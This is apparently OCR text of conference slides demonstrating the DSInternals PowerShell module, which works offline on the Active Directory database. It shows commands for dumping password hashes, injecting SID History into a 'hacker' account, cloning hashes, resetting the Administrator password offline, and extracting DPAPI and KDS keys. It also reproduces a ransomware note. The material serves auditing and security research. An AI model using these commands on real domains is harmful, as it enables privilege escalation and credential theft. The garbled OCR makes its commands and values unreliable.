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DSInternals PowerShell Module and Framework

Mit | Powershell 3 | 4 | 5 | Windows Server 2008 R2 | 2012 R2 | 2016 | .NET Framework 4.5.1+ | Visual Studio 2013 | 2015 | 2017

DISCLAIMER: Features exposed through these tools are not supported by Microsoft and are therefore not intended to be

used in production environments. Improper use might cause irreversible damage to domain controllers or negatively
impact domain security.

The DSInternals project consists of these two parts:

® The DSInternals Framework exposes several internal features of Active Directory and can be used from any .NET
application. The codebase has already been integrated into several 3rd party commercial products that use it in scenarios
like Active Directory disaster recovery, identity management, cross-forest migrations and password strength auditing.

¢ The DSInternals PowerShell Module provides easy-to-use cmdlets that are built on top of the Framework. The main

features include offline ntds.dit file manipulation and querying domain controllers through the Directary Replication
Service (DRS) Remote Protocol.
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» Database File (ntds.dit
 MS-DRSR

* MS-SAMR

*« MS-LSAD

« | DAP
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Offline Database Access
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Creating an IFM Backup
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Administrator: Windows PowerShell

Dhx Get-BootkKey
41e34661faaddl182 182 faddfofocandl
PS C:l> Get-ADDEACCount

41234661 faa0d182182 faddfofocandl

Distinguishediame: CH=krbtgt,CN=Users ,DC=Adatum,DC=com
Sid: 5-1-5-21-3180365339-B00773672-3767752645-502

uid: T58947a0-0%4b-4ae0-9c5a-a435c7dEeddh
SamAccountMame: krbtgt

Samﬂcc?untTy? User
UserPrincipalMame
PrimaryGroupld: 513

SidHIstory:
Enahled: False
Deleted: False
LastlLogon:
DisplayName:

Descripticn: Key Distribution Center Serwice Account
MTHash: Sbl17hctc3B00df21baabbEadacedhdfd
LMHash:
MTHashH1story:
Hash 01: Shl7bcfc3iB00dfzlhaachBadacedbdfd
Hash QE: cH9467e5tael4820500862dE553747 1
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Password Hashes
in Active Directory
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411 -Boctkey 41e34661taaddls2182 faddfofocaddl |
Format-Custom —V1ew HashoatMT

Administrator :ad 974 3hddad484%ch2108d2 ceb5c5h%

krbtgf:le?bcfc38DDdf21baaEbEa4aeedb4fd
Hazem:929379450518814 34 1de3+726500d4

udmundur :929379450518814341de 31 726500d4
ano]:92937945051881434de3F720500d4 1
1gdem:929379450518814341de3+726500d4 1
1chae] :929379450518814 34 1de3t726500d4 1
James :929379450518814341de3+726500d4
hristen:329379450518814 34 1de31726500d4 1
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DSinternals + EDPR
Interoperability
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2 Directory Services Internals (DSInternals)

PS5 » Get-ADDBAccount Antds.dit acdbabdaln?o261bbBde5270c3ef973ct
»» Test-PasswordQuality \pwned-passwords-ntlm-ordered-by-count.txt

Active Directory Password Quality Report

Passwords of these accounts are stored using reversible encryption:
LM hashes of passwords of these accounts are present:

These accounts have no password set:

Passwords of these accounts have been found in the dictionary:

Adeline
Sergio

These groups of accounts have the same passwords:
Group 1:
Abbi
Abbie
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Auditing AD Passwords
Against HIBP
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Replying to @MGrafnetter @SwiftOnSecurity @haveibeenpwnec

Thomas Eklund
@limp15000

Follow | W

Thanks for the great 5cr||::|t #DSlInternals Just
convinced a customer for a quick check...
Results are appalling, can't get too specific
but more than 50% are in @haveibeenpwnec
and don't get me started on admins who
have the same password for their normal
account and domain admin..

4:08 PM - 1 Oct 2018
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2~ Windows PowerShell

PS C:\> Enable-ADDBAccount
>> Antds . dit
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Domain Admins 512
Domain Users 513
Domain Guests 514
515
516
517

Domain Computers
Domain Controllers
Cert Publishers

Group Policy Creator Owners 520
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(2] Administrator Windows PowerShell

PS5y St P -, Seryice
Set- ﬁDDEFrlmdr roup hacker
C:ikWindowsyNTDSyntds. dit
'Sy Start-Service ntds

WARMING: Walting for service 'Active Directory Domaln Servilces (nids)’

L
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2 Windows PowerShell

PS > Set-ADDBAccountPassword Administrator
> .\ntds.dit
> acdbat4a3929261bB84e5278c3ef973ct

cmdlet Set-ADDBAccountPassword at command pipeline position 1
Supply values for the following parameters:

NewPassword: #*®Fx®+ix*

PS >
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Offline Active Directory
Privilege Elevation
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2> Windows PowerShell

PS > Set-ADDBAccountPasswordHash Administrator °

>> .A\ntds.dit

>> acdbab4a3929261be4e5270c3ef973cf

>> $other.NTHash ~

>> $other.SupplementalCredentials_
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Password Hash Cloning
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Hacker Properties 2| x

Published Certificates | Member OF | Pazsward Replication | Diakin | Object

Security Environment Sesziong Remaote control
General Addrezz | Account Profile Telephones Qrganization
Femote Desktop Services Praofile COM+ Attribute Editar

Attributes:
Attribute Walue -~
z/DHistory 5-1-5-21-3180365339-80077 367 2-37B7 7526
g <not zel>

Multi-valued Qctet String Editor -
Attribte: =l DHizkany

Walues:

Add
1-3180365333-8007 7367 2-3767 752645-512

5-1-5-2
5-1-5-21-3180365333-8007 736/2- 3767 752645517
5-1-5-21-3180365333-3007 7367 2- 3767752645520

Edit

QK | | Cancel |

i
|
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Administrator; Windows Powershell

PS> Stop-Service ntds

PS> (Get-ADDEDomailnController CrAkWIndows\NTDSYnids . dit) .DomalnSid.Yalue

5-1-5-21-31E0365339-80R773672-3767752645

PS> Add-ADDBS1idHistory hacker C:NWindowsyNTDS\ntds._ dit °

>3 -5-21-3180365339-8007 73672 -3767752645 -5
-21-3180365339-800773672-3767752045-512
-21-3180365339-800773672-3707752045-517
-21-3180365339-800773672-3767752045-520

Start-Service ntds
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X Select Command Prompt =B8] %
Hacker Properties ?
Remate control Remate Desktop Services Profile COM=
General Address Accournt Profile Telephones Organization
Member Of Dialdn Environment Sessions
Member af:
MName Active Directory Domain Services Folder
AUTHORITYA\REMOTE INTERACTIVE LOGON
AUTHORITY\INTERACTIVE
AUTHORITY\Authenticated Users
AUTHORITY\This Organizat
AL
Add... | | Remove

ADATUM\Domain Admins

ADATUM\Cert Publishers
ADATUM\Group Policy Creator Owners Frimary group:  Domain Users
ADATUM\Administrator
Authentication authority asserted identity you have Macintosh clients or POSIX-compliant

There iz no need to change Primary group unless

o \ . i . . applications.
ADATUMADenied RODC Password Replication Grol PP

Mandatory Label\Medium Mandatory Level

OK | | Cancel
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Dorman and Forest-wide
Authentication Enabled All requests coming
"\,\ aver the trust are

— | authenticated and
________ routed by DiC1

- - -1 _ _
Y
ser 1 User 2 ser 3
Fileserverl Fileserverz
Trusted Forest Trusting Forest
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SID History Injection
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Attribute

91193cfta-6dd8-459f -abaa-d32+Ba8+9d59 2013-10-22
91193cfa-6dd8-459f-a@aa-d32f0a8+9d59 2013-10-22

Default-First-Site-Name\LON-DC1 2015-089-12 21:
91193cfa-6dd8-459f-aPaa-d32f0a8f9d59 2013-10-22
91193cfa-6dd8-459f-abaa-d32f0a8f9d59 2013-10-22
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Select Windows PowerShell
PS> Get-Help Add-ADDBSidHistory

NAME
Add-ADDBSidHistory

SYNTAX

Add-ADDBS1idHistory [-SamAccountName] <string> -SidHistory <Secu
[EEleRa U EWLGEY= | [-LogPath <string>] [<CommonParameters>]

#BHEU YWE@BLACKHATEVENTS



ackhat

ARSENAL

Replication Metadata
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* NCryptProtectSecret(Descriptor, Data,...)

* NCryptUnprotectSecret(ProtectedBlob,...)

67

Encrypted with
KEK

Protected Data Blob

Content Info

RECIPIENT INFO T
* KEKRecipientinfo

Encrypbed with
CEK

Y

P

e
—_ ____.f

""l * Encrypted CEK

Encrypted Content

i
§
|
r d "
Data T’k‘-—-""

L J
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& b¥ Certificate Export Wizard

Security

To maintain security, you must protect the private key to a security prindpal or by
using a password,

Group or user names (recommended)

contosaDamain Admins Add

< >

[ ] Passward:

Confirm password:

Encryption: |AES256-5HA256 e
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fi Active Directory Sites and services -
File Action  View Help
o= | 2T E = HMEH 2

fig Active Directory Sites and Services [LCJN-DCM:'«. Marme Type

| Sites | 2009F14f-3d23-7202-2 01 7-477190147 1 e rrskds-ProvRootkey

v [ Services o | cd192633-dafb-code-a337-702cTe1d7ab5 rmskds-ProvRootkey
| AuthM Policy Confiquration

| Claims Configuration
v || Group Key Distribution Service
| Master Root Keys
| server Configuration
| Microsoft SPP
b srmgservices
| MetServices
| Public Key Services
| RRAS
| Shadow Principal Configuration
| Windowes BT
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A
PS> Get-ADDEKdsRootkey Chtds . dit

Id: 74eed3icO-le7b-336d-6d3b-2921032b41F0
version: 1
Creation Time: 24. 8. 2016 159:24:1E
Effective Time: 3. 9. 2016 159:24:1E
Domain Controller: CHN=LON-DC1,0U=Domain Controllers,DC=Adatum,DC=com
=
:;2 3159h3h7e2 265557 6bdt4ac19078179240db 3647 co? 729 1d59062 349382925
844376a4033cc395Tc03Bad3aE402 Fhefcte2d41dbth2 707625902 cde
Key Deriwation Function
Algorithm: SPEOO_10E_CTR_HMALC
Parameters: 4 [0, SHa512]}
Secret Agreement
A1gﬂrithm: OH
ublic Key Length: 2048

Private Key Length: 512

Farameters
(101 AT UL L AW L
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Extracting
KDS Root Keys
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Active Directory

replication
credential
roaming credential
rosming
cetificate
enrolliment
Cettificatio
Aithority
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ARSENAL
Certificate Services Client - Credential Roaming Properties ? > John Doe Properties ? ol
General Fiters
Published Certificates Member Of  Password Replication Dialin  Object
(O Mot Configured Security Environment Sessions Remote control
(@ Enabled; General Address  Account Profile Telephones  Organization
(O Disabled Remote Desktop Services Profile COM= Attribute Editor
Maximum tombstone credentials lifetime in days:
— Attributes:
60 =
Attribute Value s

Maximum number of roaming credentials per user:

2,000 =

Maximum size {in bytes) of a roaming credential:

65,535 =

Roam stored user names and passwords

Ok

msP KlAccountCredentials
msPKIDPAPIMasterkeys
msP KIRoaming Time Stamp
objectCategony
objectClass
primanyGroup | D
pwdlLastSet

Cancel Anply

B:4442:253 37373164666162636

B:1744:25305C63313465376636352D 3.
ey Do ARNDSNDTVFANEDNDE
CN=Pemon CN=5chema CN=Configurati
top; person; organizational Person; user
513 =(GROLUP_RID_USERS )
812019 10:20:03 PM Central Europear
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Credential Roaming
Created: 11/28/2019 7:29:47 PM
Modified: 11/28/2019 7:29:47 PM
Credentials:
DPAPIMasterkKey: cl4e/7f69-3bf5-4c49-92d8-78d759d74ece
DPAPIMasterKey: bfefb3ab-5cdc-4419-8521-a31feb3acdbl
CNGPrivateKey: C9ABDFS8DC38EAZBAZE20AEC/70D91210FF919F87

CNGPrivateKey: 9F95FBE4F381BFFFD22B5EFAAQ013ES53268451310

CNGCertificate: AFB39B040D1257997ABDB3EE71F96918F4C3EAQL

CNGCertificate: 49FD324E5CC4A6020ACOD12D4311C7B33393A1C4

CryptoApiCertificate: DEFFADBG6ZEES547CB88973DF664C4ADCI58EBEG4DSE

CryptoApiCertificate: 4E951C29567A261B2E90C94BCCEFAELIFAS7 8AZCEB

RSAPrivateKey: 4771dfabccB8adlec2cB84c489df041fad_edc46440-65c9-41ce-aaeb-73754e0e38c8
RSAPrivateKey: 058114e6088649266038726d918786a9_edc46440-65c9-41ce-aaeb-73754e0e38c8
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Domain
Controller

e ,,._,,,A_L&,H,E,r_'t_i_ca‘te I

Enicrypt L eeeeeeeegpsansirsatone |

User
Password

SHA-1
PEKDF2

PBHDFZ

Encrypt/
S thenticate

PEKDF2
Encryptf
Avthenticate

Session
key

Encrypt/
& therticate

Protected
Data Blob
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File
= =

E — = =&

Action

|

|

[+
[+

P
i

—

ni| B

. Prograr Data
- Research

- Nales

| wystemn

| AdminsDHo

| ComPartitiol

T arm P aritio
>

Wiew  Help

"y

Active Directory Lsers and Computers

q = H 5

Marme

CAdrminsDHaolder
= BCKUPKEY_7882bh20e-06ef-dce5-a2b0-Jefdecchboe 28 Secret
= BCKUPKEY _b1cS6ate-ddf7-41dd-a5f3-4daZed? 7ad6d Secret
= BCKUPKEY_P Secret
= BCKUPKEY_PREFERRED Secret

%

LR ETE®R

Type
Container
seCret
seCret
secret

secret
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blhekhat Extracti ng Roamed Credentials:

ARSENAL

" &

e bose re s $ ot 0w 3 A3 ; B ¥ gl g enTlid LU e s e

43N BTN TR S e i W O o Bt s e S g o ¥ e s Nt Mgy o Bevige 00 BNt o o g
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2 Windows PowerShell

PS > Get-ADDBBackupKey .\ntds.dit acdba64a3929261bo4e5270c3ef973cf | Save-DPAPIBlob ..\Output\
PS > Get-ADDBAccount A\ntds.dit | Save-DPAPIBlob ..\Output\

Reading accounts from AD database
126+ accounts
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v g Output
v o Abbi
v @, Crypto
v & R5A
@ 5-1-5-21-4534338-1127018997-2609994386-1304

[ %)

@

dwsiPubli
v o Protect dtan' Y

@ 5-1-3-21-4334338-1127018997-260%994386-1304

@

v @ SystemCertificates

N pUniguelame
@ Certificates pHash
. pSiPublic
v @ Administrator pSiPri
@ Crypto >
g Protect

v @ SystemCertificates

@ My
v & Request

'Hr«lun
guidProv
o Lara rh a

o Certificates

@ Logan
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Demo
Exctracting

and Decrypting
Roamed Credentials
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b4 Windows PE 10
PS C:\> Get-WmObject Win32_OperatingSystem | select SystemDevice,Version

SystemDevice Version

\Device\Ramdi1sk{d9b257fc-684e-4dcb-ab79-03cfa2f6b750} 10.0.10240

PS C:\> Set-ADDBPrimaryGroup -DEPat \W1ndows\NTDS\ntds dit
e SamAccountNa john.doe °
e -PrimaryGrouplId 512
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Ooop=s, your important files are encrypted.

If you see this text, then your files are no longer acceszible, becausze they
have been encrypted. Perhaps you are busy looking for a way to recover your

files, but don’t waste your time. MNobody can recover your files without our
decryption =ervice.

Ue guarantee that you can recover all your files =zafely and ea=zily. aAll you
need to do iz submit the payment and purchasze the decryption key.

Pleaze follow the instructions:
1. Send 5300 worth of Bitcoin to following address:
1Mz7153HMuxX TuRZR1t 7BnGSdzafntNbBUX

Z. 3end your Bitcoin wallet ID and persomal installation key to e-mail
wowsnithlZ3456@posteo.net. Your perszomal installation key:

8Ue iNr-ngRtr=-NFx836-CylugF—wumEnF3-d=sWL7g-PLtnUn—ggEola—ubECnf —NAEyYf T

If you already purchaszed your key, please enter it below.

} Backup Mode

Choose what data you want to backup fram this computer.

Backup Mode
Files
Destination
Local Storage
Schedule

Summary

Backup mode:

) Entire computer (recommended)

Back up your entire computer image for fast recovery on any level. Deleted, temporary and
page files are automatically excluded from the image to reduce the backup size.

) Volume level backup

Back up images of selected vaolumes, for example onty data volumes. Deleted, temporany
and page files are automatically excluded from the image to reduce the backup size.

(® File level backup (slower)

Back up individual filez and folders by mask. Thiz mode produces an image-based backup
with only selected files included in the image.

MNead > Cancel
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Administrator: Command Prompt

tsontdsutil
td=sutil: activate instance ntds

Aictive instance =et to "ntds".

tdsutil: ifm
ifm: create full C:~IFHM

reating snapshot...
Cnapshot set {3645hbh2d-B8df8-4eB8-2c1?-63475ebhebeld? generated successfully.

Snapshot {d4fab257-bhbhli3-4deS5—-a%eb—6cA3bAaeab9cy mounted as C:~5SHAP_281583811448

UOLUMECS ™
Cnapshot {d4f ab25%7-bbl13-4deb-a%eb-6cB3bBaeab?c} iz already mounted.

Initiating DEFRAGMENTATION mode...
Source Database: C:5SHAP_2PA1583011448_UOLUMECS~Windows“NTDS~ntds.dit

Target Database: C:~IFM~Active Directorywntds.dit

Defragmentation Status ¢ completel

38 418 58 68 78 88 98 184

opying registry files...
opying GC:~IFMsregistry~S¥YSTEHM

opying G:~IFM~registrys\SECURITY
Snapshot {d4f ab257-hhl13-4de5-a%eb-6cBA3bHaeab?cy} unmounted.

IFM media created successfully in C:“IFM
ifm: guit
tdzsutil: guit

-

YW2BLACK HAT EVENTS



O

blackhat RF

ARSENAL

1 Rename-Computer -NewhName 'LON-DC1' -Force -Restart

2 # Reboot

3

4 dcpromo.exe Junattend /ReplicaorNewDomain:Domain /NewDomain:Forest /NewDomainDNSName:™Adat
5 # Reboot

6

7 # Re-encrypt the DB

§ Set-ADDEBOOTKey -DEPath "C:‘WUsershadministrator\Desktop'\NTDS'ntds.dit”

9 -01dBootkey 61d45ce69e9a42cfaf9165e202b1la56a -~
10 -NewBootkKey 9d2045c35acad5d556FbTe3348019258
11
12 Stop-service -Wame NTDS -Force
13
14 # Clone DC machine account password
13 fdcaccount GeT-ADDBACCOUNT -SamAcCCcountMName LOW-DCLE
16 -DBPath C:“windowsiyNTDS \ntds. dit
17 -BootKey 9d2045c35acad5d556Fbfe3348019258
18
19  Set-ADDBACCOUNTPasswordHash -SamAccountMame LOW-DC1% ©
20 -NTHash fdcaccount. NTHash
21 -SupplementalCredentials %dcAccount. SupplementalCredentials
22 -DBEPath ”C:1U5er51adm1n1StratDrEDe5ktopENTD51ntd5.dit”
23 -BootKey 9d2045c35acad45d556Tbfe3348019258
24

25 # Inject old domain info (5ID, GUID)
26 Set-LsarolicyInformation -Domainhame ADATUM

27 -DnsDomainName Adatum. com

23 -DnsForestName Adatum. com

29 -pomainGuid c2fdf8od-b8da-4fcd-b068-1911eb0485F0
30 -Domainsid 5-1-5-21-3623811015-3361044348-30300820
31

32  # Force Invocation ID change

33 reg.exe delete "HKLM‘\System‘\CurrentControlset'Services\NTDSYParameters’ DSA Database E

34
35 # Replace ntds.dit
36 %acl = Get-Acl -Path C:\windows\NTDs
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Windows PowerShell
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PS Cihe fcred Mew-0Ohject PSCredential fpass
PS Cihe Get-ADReplAccount April Adatum -
aan LOM-DZ1 fcred TCF

D1 stingul shedMame : CH=Apri1l REeagan,0U=IT,DC=Adatum,DC=com
S1d: 5-1-5-21-318036/5339-83007FF3672-3F6FF52R45-1370

uid: 124aed93-699b-4450-a47a-314a29cc90ea
SaméccountMame: April

SamiaccountType: User

UserPrincipal Name: April@adatum. com

PrimaryaroupId: 513

S1dH1story :

Enabled: True

Deleted: False

LastlLogon:

D splayMame : April Reagan

1wenMame: April

Surname: Eeagan

Description:

NTHash: 92937945h518314341de3t7F26500d4Tf

LMHash:

NTHashH1 story :
Hash 01: 92937945h518814341de3fr26500d4tT
Hash 02: 36aalibdcab3icofdatizicadzailic3ifc
Hash 03 : 92937945b518814341de3fr26500datf
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AL Windows PowerShell -

April Adatum °
92937945b518814341de3t726500d4fT
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Reverting
Active Directory
Password Resets
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NGC Next-Gen Credentials
FIDO Fast IDentity Online Key
STK Session Transport Key
FEK File Encryption Key (Undocumented)
BitlockerRecovery  |BitLocker Recovery Key (Undocumented)
AdminKey PIN Reset Key (Undocumented)
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Injecting Custom
NGC Keys
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* LM Hash

* NT Hash

* Kerberos Keys

WDigest Hashes

OrglD Hash (Used by Azure AD Connect)
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Password Hash
Calculation
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 Unattend.xml Passwords
 Group Policy Preterences Passwords
» LDIF Unicode Passwords
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Thank you!

If you have questions you can email me at
michael@cqure.pl

@\ Michael Grafnetter

\ CQURE: |dentity, Cloud & Security Architect C Q U R E

CQURE Academy: Trainer
MCT, CEI, MCSA @CQU(E%E?cademy
michael@cqure.pl @MGrafnetter
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